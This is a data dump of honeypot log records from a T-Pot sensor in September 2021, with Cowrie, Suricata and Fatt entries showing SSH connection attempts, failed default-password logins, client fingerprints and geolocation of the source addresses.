attacker	CN
34667	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:03:03.416317+03	2021-09-20 15:15:02.201488+03	{"_id": "IwYWA3wBvYTbRNuEllef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "46d89f64aa51", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:03:03.416317Z", "@timestamp": "2021-09-20T12:03:03.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
34668	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:03:04.371625+03	2021-09-20 15:15:02.202487+03	{"_id": "JAYWA3wBvYTbRNuEllef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "e489385630c2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:04.371625Z", "@timestamp": "2021-09-20T12:03:04.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34669	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:03:03.000832+03	2021-09-20 15:15:02.204485+03	{"_id": "JQYWA3wBvYTbRNuEl1e7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 259, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 254624858239865, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 58119, "timestamp": "2021-09-20T12:03:03.000832Z", "@timestamp": "2021-09-20T12:03:03.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34670	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:04.372771+03	2021-09-20 15:15:02.205487+03	{"_id": "JwYWA3wBvYTbRNuEmFfG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "120.36.157.98", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38807, "timestamp": "2021-09-20T12:03:04.372771", "@timestamp": "2021-09-20T12:03:04.372Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34671	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:03:04.478875+03	2021-09-20 15:15:02.206487+03	{"_id": "LgYWA3wBvYTbRNuEmleH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "46d89f64aa51", "@version": "1", "duration": 1.3205742835998535, "timestamp": "2021-09-20T12:03:04.478875Z", "@timestamp": "2021-09-20T12:03:04.478Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
34672	120.36.157.98	109.199.241.180	Suricata	2021-09-20 15:03:04.673783+03	2021-09-20 15:15:02.208486+03	{"_id": "MAYWA3wBvYTbRNuEm1ek", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:04.065611+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "120.36.157.98", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2240289174978635, "payload": "AAADzAYUn5cj+aEM5G49h0/owchLzAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38807, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:04.673783Z", "@timestamp": "2021-09-20T12:03:04.673Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........#....n=.O...K....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34673	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:03:05.991902+03	2021-09-20 15:15:02.210486+03	{"_id": "MgYWA3wBvYTbRNuEnldw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.login.failed", "message": "login attempt [sabrina/sabrina] failed", "session": "e489385630c2", "@version": "1", "password": "sabrina", "username": "sabrina", "timestamp": "2021-09-20T12:03:05.991902Z", "@timestamp": "2021-09-20T12:03:05.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34674	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 15:03:07.299674+03	2021-09-20 15:15:02.211486+03	{"_id": "MwYWA3wBvYTbRNuEoldZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e489385630c2", "@version": "1", "duration": 2.928286075592041, "timestamp": "2021-09-20T12:03:07.299674Z", "@timestamp": "2021-09-20T12:03:07.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34983	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:05:45.592499+03	2021-09-20 15:15:02.639691+03	{"_id": "ZgYZA3wBvYTbRNuED1m9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "899710ec76ef", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:05:45.592499Z", "@timestamp": "2021-09-20T12:05:45.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
34676	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:03:28.994943+03	2021-09-20 15:15:02.214486+03	{"_id": "cwYWA3wBvYTbRNuE-FdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "cd7108cee2c2", "@version": "1", "timestamp": "2021-09-20T12:03:28.994943Z", "@timestamp": "2021-09-20T12:03:28.994Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
34677	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:03:28.994466+03	2021-09-20 15:15:02.215485+03	{"_id": "dgYWA3wBvYTbRNuE-Vdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 127985605732498, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44486, "dest_port": 22, "timestamp": "2021-09-20T12:03:28.994466Z", "@timestamp": "2021-09-20T12:03:28.994Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
34678	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:03:28.994555+03	2021-09-20 15:15:02.217486+03	{"_id": "dwYWA3wBvYTbRNuE-Vdw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:28.911506+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 127985605732498, "payload": "AAADzAYUNN309R5cKSdDFnNtKFgqKgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44486, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:28.994555Z", "@timestamp": "2021-09-20T12:03:28.994Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......4....\\\\)'C.sm(X**...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	NL
34679	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:28.956167+03	2021-09-20 15:15:02.218487+03	{"_id": "gwYWA3wBvYTbRNuE-lfe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44486, "timestamp": "2021-09-20T12:03:28.956167", "@timestamp": "2021-09-20T12:03:28.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34680	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:03:29.6163+03	2021-09-20 15:15:02.219487+03	{"_id": "hwYWA3wBvYTbRNuE_Fc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:33458 (192.168.176.2:22) [session: 2e465e006744]", "session": "2e465e006744", "@version": "1", "protocol": "ssh", "src_port": 33458, "dest_port": 22, "timestamp": "2021-09-20T12:03:29.616300Z", "@timestamp": "2021-09-20T12:03:29.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	SE
